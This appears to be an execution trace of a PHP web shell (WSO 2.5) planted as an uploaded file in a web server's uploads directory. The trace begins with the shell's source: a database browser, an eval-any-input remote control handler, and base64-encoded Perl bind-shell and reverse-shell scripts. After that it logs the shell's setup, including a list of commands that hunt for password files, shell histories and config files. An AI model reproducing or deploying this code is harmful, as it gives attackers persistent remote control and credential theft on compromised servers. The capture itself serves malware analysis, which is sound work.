if(l && d.sf.p3) d.sf.p3.value = l;\n\r\t\t\t\td.sf.submit();\n\r\t\t\t}\n\r\t\t\tfunction is() {\n\r\t\t\t\tfor(i=0;i<d.sf.elements[\'tbl[]\'].length;++i)\n\r\t\t\t\t\td.sf.elements[\'tbl[]\'][i].checked = !d.sf.elements[\'tbl[]\'][i].checked;\n\r\t\t\t}\n\r\t\t</script>";\n\r\tif(isset($db) && $db->link){\n\r\t\techo "<br/><table width=100% cellpadding=2 cellspacing=0>";\n\r\t\t\tif(!empty($_POST[\'sql_base\'])){\n\r\t\t\t\t$db->selectdb($_POST[\'sql_base\']);\n\r\t\t\t\techo "<tr><td width=1 style=\'border-top:2px solid #666;\'><span>Tables:</span><br><br>";\n\r\t\t\t\t$tbls_res = $db->listTables();\n\r\t\t\t\twhile($item = $db->fetch($tbls_res)) {\n\r\t\t\t\t\tlist($key, $value) = each($item);\n\r if(!empty($_POST[\'sql_count\']))\n\r $n = $db->fetch($db->query(\'SELECT COUNT(*) as n FROM \'.$value.\'\'));\n\r\t\t\t\t\t$value = htmlspecialchars($value);\n\r\t\t\t\t\techo "<nobr><input type=\'checkbox\' name=\'tbl[]\' value=\'".$value."\'> <a href=# onclick=\\"st(\'".$value."\',1)\\">".$value."</a>" . (empty($_POST[\'sql_count\'])?\' \':" <small>({$n[\'n\']})</small>") . "</nobr><br>";\n\r\t\t\t\t}\n\r\t\t\t\techo "<input type=\'checkbox\' onclick=\'is();\'> <input type=button value=\'Dump\' onclick=\'document.sf.p2.value=\\"download\\";document.sf.submit();\'><br>File path:<input type=text name=file value=\'dump.sql\'></td><td style=\'border-top:2px solid #666;\'>";\n\r\t\t\t\tif(@$_POST[\'p1\'] == \'select\') {\n\r\t\t\t\t\t$_POST[\'p1\'] = \'query\';\n\r $_POST[\'p3\'] = $_POST[\'p3\']?$_POST[\'p3\']:1;\n\r\t\t\t\t\t$db->query(\'SELECT COUNT(*) as n FROM \' . $_POST[\'p2\']);\n\r\t\t\t\t\t$num = $db->fetch();\n\r\t\t\t\t\t$pages = ceil($num[\'n\'] / 30);\n\r echo "<script>d.sf.onsubmit=function(){st(\\"" . $_POST[\'p2\'] . "\\", d.sf.p3.value)}</script><span>".$_POST[\'p2\']."</span> ({$num[\'n\']} records) Page # <input type=text name=\'p3\' value=" . ((int)$_POST[\'p3\']) . ">";\n\r echo " of $pages";\n\r if($_POST[\'p3\'] > 1)\n\r echo " <a href=# onclick=\'st(\\"" . $_POST[\'p2\'] . \'", \' . ($_POST[\'p3\']-1) . ")\'>< Prev</a>";\n\r if($_POST[\'p3\'] < $pages)\n\r echo " <a href=# onclick=\'st(\\"" . $_POST[\'p2\'] . \'", \' . ($_POST[\'p3\']+1) . ")\'>Next ></a>";\n\r $_POST[\'p3\']--;\n\r\t\t\t\t\tif($_POST[\'type\']==\'pgsql\')\n\r\t\t\t\t\t\t$_POST[\'p2\'] = \'SELECT * FROM \'.$_POST[\'p2\'].\' LIMIT 30 OFFSET \'.($_POST[\'p3\']*30);\n\r\t\t\t\t\telse\n\r\t\t\t\t\t\t$_POST[\'p2\'] = \'SELECT * FROM `\'.$_POST[\'p2\'].\'` LIMIT \'.($_POST[\'p3\']*30).\',30\';\n\r\t\t\t\t\techo "<br><br>";\n\r\t\t\t\t}\n\r\t\t\t\tif((@$_POST[\'p1\'] == \'query\') && !empty($_POST[\'p2\'])) {\n\r\t\t\t\t\t$db->query(@$_POST[\'p2\']);\n\r\t\t\t\t\tif($db->res !== false) {\n\r\t\t\t\t\t\t$title = false;\n\r\t\t\t\t\t\techo \'<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">\';\n\r\t\t\t\t\t\t$line = 1;\n\r\t\t\t\t\t\twhile($item = $db->fetch())\t{\n\r\t\t\t\t\t\t\tif(!$title)\t{\n\r\t\t\t\t\t\t\t\techo \'<tr>\';\n\r\t\t\t\t\t\t\t\tforeach($item as $key => $value)\n\r\t\t\t\t\t\t\t\t\techo \'<th>\'.$key.\'</th>\';\n\r\t\t\t\t\t\t\t\treset($item);\n\r\t\t\t\t\t\t\t\t$title=true;\n\r\t\t\t\t\t\t\t\techo \'</tr><tr>\';\n\r\t\t\t\t\t\t\t\t$line = 2;\n\r\t\t\t\t\t\t\t}\n\r\t\t\t\t\t\t\techo \'<tr class="l\'.$line.\'">\';\n\r\t\t\t\t\t\t\t$line = $line==1?2:1;\n\r\t\t\t\t\t\t\tforeach($item as $key => $value) {\n\r\t\t\t\t\t\t\t\tif($value == null)\n\r\t\t\t\t\t\t\t\t\techo \'<td><i>null</i></td>\';\n\r\t\t\t\t\t\t\t\telse\n\r\t\t\t\t\t\t\t\t\techo \'<td>\'.nl2br(htmlspecialchars($value)).\'</td>\';\n\r\t\t\t\t\t\t\t}\n\r\t\t\t\t\t\t\techo \'</tr>\';\n\r\t\t\t\t\t\t}\n\r\t\t\t\t\t\techo \'</table>\';\n\r\t\t\t\t\t} else {\n\r\t\t\t\t\t\techo \'<div><b>Error:</b> \'.htmlspecialchars($db->error()).\'</div>\';\n\r\t\t\t\t\t}\n\r\t\t\t\t}\n\r\t\t\t\techo "<br></form><form onsubmit=\'d.sf.p1.value=\\"query\\";d.sf.p2.value=this.query.value;document.sf.submit();return false;\'><textarea name=\'query\' style=\'width:100%;height:100px\'>";\n\r if(!empty($_POST[\'p2\']) && ($_POST[\'p1\'] != \'loadfile\'))\n\r echo htmlspecialchars($_POST[\'p2\']);\n\r echo "</textarea><br/><input type=submit value=\'Execute\'>";\n\r\t\t\t\techo "</td></tr>";\n\r\t\t\t}\n\r\t\t\techo "</table></form><br/>";\n\r if($_POST[\'type\']==\'mysql\') {\n\r $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, \'@\', `host`) = USER() AND `File_priv` = \'y\'");\n\r if($db->fetch())\n\r echo "<form onsubmit=\'d.sf.p1.value=\\"loadfile\\";document.sf.p2.value=this.f.value;document.sf.submit();return false;\'><span>Load file</span> <input class=\'toolsInp\' type=text name=f><input type=submit value=\'>>\'></form>";\n\r }\n\r\t\t\tif(@$_POST[\'p1\'] == \'loadfile\') {\n\r\t\t\t\t$file = $db->loadFile($_POST[\'p2\']);\n\r\t\t\t\techo \'<br/><pre class=ml1>\'.htmlspecialchars($file[\'file\']).\'</pre>\';\n\r\t\t\t}\n\r\t} else {\n\r echo htmlspecialchars($db->error());\n\r }\n\r\techo \'</div>\';\n\r\twsoFooter();\n\r}\n\rfunction actionNetwork() {\n\r\twsoHeader();\n\r\t$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";\n\r\t$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";\n\r\techo "<h1>Network tools</h1><div class=content>\n\r\t<form name=\'nfp\' onSubmit=\\"g(null,null,\'bpp\',this.port.value);return false;\\">\n\r\t<span>Bind port to /bin/sh [perl]</span><br/>\n\r\tPort: <input type=\'text\' name=\'port\' value=\'31337\'> <input type=submit value=\'>>\'>\n\r\t</form>\n\r\t<form name=\'nfp\' onSubmit=\\"g(null,null,\'bcp\',this.server.value,this.port.value);return false;\\">\n\r\t<span>Back-connect [perl]</span><br/>\n\r\tServer: <input type=\'text\' name=\'server\' value=\'". $_SERVER[\'REMOTE_ADDR\'] ."\'> Port: <input type=\'text\' name=\'port\' value=\'31337\'> <input type=submit value=\'>>\'>\n\r\t</form><br>";\n\r\tif(isset($_POST[\'p1\'])) {\n\r\t\tfunction cf($f,$t) {\n\r\t\t\t$w = @fopen($f,"w") or @function_exists(\'file_put_contents\');\n\r\t\t\tif($w){\n\r\t\t\t\t@fwrite($w,@base64_decode($t));\n\r\t\t\t\t@fclose($w);\n\r\t\t\t}\n\r\t\t}\n\r\t\tif($_POST[\'p1\'] == \'bpp\') {\n\r\t\t\tcf("/tmp/bp.pl",$bind_port_p);\n\r\t\t\t$out = wsoEx("perl /tmp/bp.pl ".$_POST[\'p2\']." 1>/dev/null 2>&1 &");\n\r sleep(1);\n\r\t\t\techo "<pre class=ml1>$out\\n".wsoEx("ps aux | grep bp.pl")."</pre>";\n\r unlink("/tmp/bp.pl");\n\r\t\t}\n\r\t\tif($_POST[\'p1\'] == \'bcp\') {\n\r\t\t\tcf("/tmp/bc.pl",$back_connect_p);\n\r\t\t\t$out = wsoEx("perl /tmp/bc.pl ".$_POST[\'p2\']." ".$_POST[\'p3\']." 1>/dev/null 2>&1 &");\n\r sleep(1);\n\r\t\t\techo "<pre class=ml1>$out\\n".wsoEx("ps aux | grep bc.pl")."</pre>";\n\r unlink("/tmp/bc.pl");\n\r\t\t}\n\r\t}\n\r\techo \'</div>\';\n\r\twsoFooter();\n\r}\n\rfunction actionRC() {\n\r\tif(!@$_POST[\'p1\']) {\n\r\t\t$a = array(\n\r\t\t\t"uname" => php_uname(),\n\r\t\t\t"php_version" => phpversion(),\n\r\t\t\t"wso_version" => WSO_VERSION,\n\r\t\t\t"safemode" => @ini_get(\'safe_mode\')\n\r\t\t);\n\r\t\techo serialize($a);\n\r\t} else {\n\r\t\teval($_POST[\'p1\']);\n\r\t}\n\r}\n\rif( empty($_POST[\'a\']) )\n\r\tif(isset($default_action) && function_exists(\'action\' . $default_action))\n\r\t\t$_POST[\'a\'] = $default_action;\n\r\telse\n\r\t\t$_POST[\'a\'] = \'SecInfo\';\n\rif( !empty($_POST[\'a\']) && function_exists(\'action\' . $_POST[\'a\']) )\n\r\tcall_user_func(\'action\' . $_POST[\'a\']);\n\rexit;' /var/www/html/uploads/00977a.php 4 0
2 A /var/www/html/uploads/00977a.php(4) : eval()'d code 1 $auth_pass = ''
2 A /var/www/html/uploads/00977a.php(4) : eval()'d code 3 $color = '#df5'
2 A /var/www/html/uploads/00977a.php(4) : eval()'d code 5 $default_action = 'FilesMan'
2 A /var/www/html/uploads/00977a.php(4) : eval()'d code 7 $default_use_ajax = TRUE
2 A /var/www/html/uploads/00977a.php(4) : eval()'d code 9 $default_charset = 'Windows-1251'
2 A /var/www/html/uploads/00977a.php(4) : eval()'d code 14 $userAgents = [0 => 'Google', 1 => 'Slurp', 2 => 'MSNBot', 3 => 'ia_archiver', 4 => 'Yandex', 5 => 'Rambler']
3 9 0 0.006658 1143112 implode 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 16 2 '|' [0 => 'Google', 1 => 'Slurp', 2 => 'MSNBot', 3 => 'ia_archiver', 4 => 'Yandex', 5 => 'Rambler']
3 9 1 0.006680 1143256
3 9 R 'Google|Slurp|MSNBot|ia_archiver|Yandex|Rambler'
3 10 0 0.006698 1143192 preg_match 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 16 2 '/Google|Slurp|MSNBot|ia_archiver|Yandex|Rambler/i' 'python-requests/2.25.1'
3 10 1 0.006753 1143256
3 10 R 0
3 11 0 0.006768 1143112 ini_set 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 27 2 'error_log' NULL
3 11 1 0.006785 1143184
3 11 R ''
3 12 0 0.006798 1143112 ini_set 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 29 2 'log_errors' 0
3 12 1 0.006813 1143184
3 12 R '1'
3 13 0 0.006826 1143112 ini_set 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 31 2 'max_execution_time' 0
3 13 1 0.006841 1143152
3 13 R '0'
3 14 0 0.006854 1143080 set_time_limit 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 33 1 0
3 14 1 0.006869 1143144
3 14 R FALSE
3 15 0 0.006882 1143112 define 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 35 2 'WSO_VERSION' '2.5'
3 15 1 0.006897 1143216
3 15 R TRUE
3 16 0 0.006910 1143144 get_magic_quotes_gpc 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 38 0
3 16 1 0.006923 1143144
3 16 R FALSE
3 17 0 0.006937 1143144 substr 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 83 3 'Linux' 0 3
3 17 1 0.006951 1143272
3 17 R 'Lin'
3 18 0 0.006964 1143176 strtolower 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 83 1 'Lin'
3 18 1 0.006978 1143240
3 18 R 'lin'
2 A /var/www/html/uploads/00977a.php(4) : eval()'d code 89 $os = 'nix'
3 19 0 0.007003 1143144 ini_get 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 92 1 'safe_mode'
3 19 1 0.007017 1143176
3 19 R FALSE
2 A /var/www/html/uploads/00977a.php(4) : eval()'d code 92 $safe_mode = FALSE
3 20 0 0.007042 1143144 error_reporting 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 96 1 0
3 20 1 0.007055 1143184
3 20 R 0
3 21 0 0.007068 1143144 ini_get 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 99 1 'disable_functions'
3 21 1 0.007082 1143624
3 21 R 'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
2 A /var/www/html/uploads/00977a.php(4) : eval()'d code 99 $disable_functions = 'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
3 22 0 0.007133 1143592 getcwd 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 101 0
3 22 1 0.007147 1143640
3 22 R '/var/www/html/uploads'
2 A /var/www/html/uploads/00977a.php(4) : eval()'d code 101 $home_cwd = '/var/www/html/uploads'
3 23 0 0.007180 1143640 getcwd 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 107 0
3 23 1 0.007194 1143688
3 23 R '/var/www/html/uploads'
2 A /var/www/html/uploads/00977a.php(4) : eval()'d code 107 $cwd = '/var/www/html/uploads'
2 A /var/www/html/uploads/00977a.php(4) : eval()'d code 119 $cwd .= '/'
3 24 0 0.007232 1143688 md5 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 122 1 'localhost'
3 24 1 0.007246 1143784
3 24 R '421aa90e079fa326b6494f812ad13e79'
3 25 0 0.007262 1143688 md5 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 124 1 'localhost'
3 25 1 0.007275 1143784
3 25 R '421aa90e079fa326b6494f812ad13e79'
2 A /var/www/html/uploads/00977a.php(4) : eval()'d code 124 _COOKIE['421aa90e079fa326b6494f812ad13e79ajax'] = TRUE
2 A /var/www/html/uploads/00977a.php(4) : eval()'d code 155 $aliases = ['List dir' => 'ls -lha', 'list file attributes on a Linux second extended file system' => 'lsattr -va', 'show opened ports' => 'netstat -an | grep -i listen', 'process status' => 'ps aux', 'Find' => '', 'find all suid files' => 'find / -type f -perm -04000 -ls', 'find suid files in current dir' => 'find . -type f -perm -04000 -ls', 'find all sgid files' => 'find / -type f -perm -02000 -ls', 'find sgid files in current dir' => 'find . -type f -perm -02000 -ls', 'find config.inc.php files' => 'find / -type f -name config.inc.php', 'find config* files' => 'find / -type f -name "config*"', 'find config* files in current dir' => 'find . -type f -name "config*"', 'find all writable folders and files' => 'find / -perm -2 -ls', 'find all writable folders and files in current dir' => 'find . -perm -2 -ls', 'find all service.pwd files' => 'find / -type f -name service.pwd', 'find service.pwd files in current dir' => 'find . -type f -name service.pwd', 'find all .htpasswd files' => 'find / -type f -name .htpasswd', 'find .htpasswd files in current dir' => 'find . -type f -name .htpasswd', 'find all .bash_history files' => 'find / -type f -name .bash_history', 'find .bash_history files in current dir' => 'find . -type f -name .bash_history', 'find all .fetchmailrc files' => 'find / -type f -name .fetchmailrc', 'find .fetchmailrc files in current dir' => 'find . -type f -name .fetchmailrc', 'Locate' => '', 'locate httpd.conf files' => 'locate httpd.conf', 'locate vhosts.conf files' => 'locate vhosts.conf', 'locate proftpd.conf files' => 'locate proftpd.conf', 'locate psybnc.conf files' => 'locate psybnc.conf', 'locate my.conf files' => 'locate my.conf', 'locate admin.php files' => 'locate admin.php', 'locate cfg.php files' => 'locate cfg.php', 'locate conf.php files' => 'locate conf.php', 'locate config.dat files' => 'locate config.dat', 'locate config.php files' => 'locate config.php', 'locate config.inc files' => 'locate config.inc', 'locate config.inc.php' => 'locate config.inc.php', 'locate config.default.php files' => 'locate config.default.php', 'locate config* files ' => 'locate config', 'locate .conf files' => 'locate \'.conf\'', 'locate .pwd files' => 'locate \'.pwd\'', 'locate .sql files' => 'locate \'.sql\'', 'locate .htpasswd files' => 'locate \'.htpasswd\'', 'locate .bash_history files' => 'locate \'.bash_history\'', 'locate .mysql_history files' => 'locate \'.mysql_history\'', 'locate .fetchmailrc files' => 'locate \'.fetchmailrc\'', 'locate backup files' => 'locate backup', 'locate dump files' => 'locate dump', 'locate priv files' => 'locate priv']
3 26 0 0.007377 1144128 function_exists 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 578 1 'posix_getpwuid'
3 26 1 0.007392 1144168
3 26 R TRUE
3 27 0 0.007405 1144128 function_exists 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 582 1 'posix_getgrgid'
3 27 1 0.007419 1144168
3 27 R TRUE
3 28 0 0.007433 1144168 function_exists 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 2985 1 'actionFilesMan'
3 28 1 0.007448 1144208
3 28 R TRUE
2 A /var/www/html/uploads/00977a.php(4) : eval()'d code 2987 _POST['a'] = 'FilesMan'
3 29 0 0.007475 1144544 function_exists 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 2993 1 'actionFilesMan'
3 29 1 0.007489 1144584
3 29 R TRUE
3 30 0 0.007504 1144504 actionFilesMan 1 /var/www/html/uploads/00977a.php(4) : eval()'d code 2995 0
4 31 0 0.007518 1144504 wsoHeader 1 /var/www/html/uploads/00977a.php(4) : eval()'d code 1230 0
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 256 _POST['charset'] = 'Windows-1251'
5 32 0 0.007547 1145784 htmlspecialchars 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 308 1 '/var/www/html/uploads/'
5 32 1 0.007565 1145976
5 32 R '/var/www/html/uploads/'
5 33 0 0.007580 1145784 htmlspecialchars 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 310 1 'FilesMan'
5 33 1 0.007594 1145976
5 33 R 'FilesMan'
5 34 0 0.007608 1145784 htmlspecialchars 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 312 1 'Windows-1251'
5 34 1 0.007622 1145976
5 34 R 'Windows-1251'
5 35 0 0.007637 1145784 strpos 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 314 2 NULL '\n'
5 35 1 0.007652 1145856
5 35 R FALSE
5 36 0 0.007666 1145784 htmlspecialchars 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 314 2 NULL 3
5 36 1 0.007680 1146016
5 36 R ''
5 37 0 0.007694 1146040 strpos 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 316 2 NULL '\n'
5 37 1 0.007708 1146112
5 37 R FALSE
5 38 0 0.007721 1146040 htmlspecialchars 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 316 2 NULL 3
5 38 1 0.007739 1146272
5 38 R ''
5 39 0 0.007753 1146040 strpos 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 318 2 NULL '\n'
5 39 1 0.007767 1146112
5 39 R FALSE
5 40 0 0.007780 1146040 htmlspecialchars 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 318 2 NULL 3
5 40 1 0.007794 1146272
5 40 R ''
5 41 0 0.007807 1147064 addslashes 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 356 1 '/uploads/00977a.php'
5 41 1 0.007821 1147096
5 41 R '/uploads/00977a.php'
5 42 0 0.007837 1144504 diskfreespace 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 420 1 '/var/www/html/uploads/'
5 42 1 0.007857 1144536
5 42 R 198164074496
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 420 $freeSpace = 198164074496
5 43 0 0.007884 1144504 disk_total_space 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 422 1 '/var/www/html/uploads/'
5 43 1 0.007899 1144536
5 43 R 232015802368
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 422 $totalSpace = 232015802368
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 424 $totalSpace = 232015802368
5 44 0 0.007936 1144504 php_uname 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 426 1 'r'
5 44 1 0.007951 1144584
5 44 R '5.15.0-60-generic'
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 426 $release = '5.15.0-60-generic'
5 45 0 0.007977 1144552 php_uname 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 428 1 's'
5 45 1 0.007990 1144616
5 45 R 'Linux'
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 428 $kernel = 'Linux'
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 430 $explink = 'http://exploit-db.com/search/?action=search&filter_description='
5 46 0 0.008029 1144584 strpos 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 432 2 'Linux' 'Linux'
5 46 1 0.008043 1144656
5 46 R 0
5 47 0 0.008056 1144584 substr 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 434 3 '5.15.0-60-generic' 0 6
5 47 1 0.008070 1144712
5 47 R '5.15.0'
5 48 0 0.008083 1144632 urlencode 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 434 1 'Linux Kernel 5.15.0'
5 48 1 0.008097 1144712
5 48 R 'Linux+Kernel+5.15.0'
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 434 $explink .= 'Linux+Kernel+5.15.0'
5 49 0 0.008124 1144696 function_exists 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 440 1 'posix_getegid'
5 49 1 0.008137 1144736
5 49 R TRUE
5 50 0 0.008151 1144696 posix_geteuid 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 452 0
5 50 1 0.008165 1144696
5 50 R 33
5 51 0 0.008177 1144696 posix_getpwuid 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 452 1 33
5 51 1 0.008213 1145528
5 51 R ['name' => 'www-data', 'passwd' => 'x', 'uid' => 33, 'gid' => 33, 'gecos' => 'www-data', 'dir' => '/var/www', 'shell' => '/usr/sbin/nologin']
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 452 $uid = ['name' => 'www-data', 'passwd' => 'x', 'uid' => 33, 'gid' => 33, 'gecos' => 'www-data', 'dir' => '/var/www', 'shell' => '/usr/sbin/nologin']
5 52 0 0.008257 1145496 posix_getegid 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 454 0
5 52 1 0.008270 1145496
5 52 R 33
5 53 0 0.008283 1145496 posix_getgrgid 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 454 1 33
5 53 1 0.008311 1146160
5 53 R ['name' => 'www-data', 'passwd' => 'x', 'members' => [], 'gid' => 33]
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 454 $gid = ['name' => 'www-data', 'passwd' => 'x', 'members' => [], 'gid' => 33]
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 456 $user = 'www-data'
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 458 $uid = 33
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 460 $group = 'www-data'
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 462 $gid = 33
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 467 $cwd_links = ''
5 54 0 0.008402 1144776 explode 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 469 2 '/' '/var/www/html/uploads/'
5 54 1 0.008421 1145384
5 54 R [0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads', 5 => '']
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 469 $path = [0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads', 5 => '']
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 471 $n = 6
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 473 $i = 0
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 475 $cwd_links .= '<a href=\'#\' onclick=\'g("FilesMan","'
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 477 $j = 0
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 479 $cwd_links .= '/'
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 477 $j++
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 481 $cwd_links .= '")\'>/</a>'
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 473 $i++
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 475 $cwd_links .= '<a href=\'#\' onclick=\'g("FilesMan","'
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 477 $j = 0
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 479 $cwd_links .= '/'
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 477 $j++
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 479 $cwd_links .= 'var/'
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 477 $j++
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 481 $cwd_links .= '")\'>var/</a>'
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 473 $i++
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 475 $cwd_links .= '<a href=\'#\' onclick=\'g("FilesMan","'
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 477 $j = 0
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 479 $cwd_links .= '/'
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 477 $j++
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 479 $cwd_links .= 'var/'
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 477 $j++
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 479 $cwd_links .= 'www/'
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 477 $j++
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 481 $cwd_links .= '")\'>www/</a>'
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 473 $i++
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 475 $cwd_links .= '<a href=\'#\' onclick=\'g("FilesMan","'
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 477 $j = 0
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 479 $cwd_links .= '/'
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 477 $j++
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 479 $cwd_links .= 'var/'
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 477 $j++
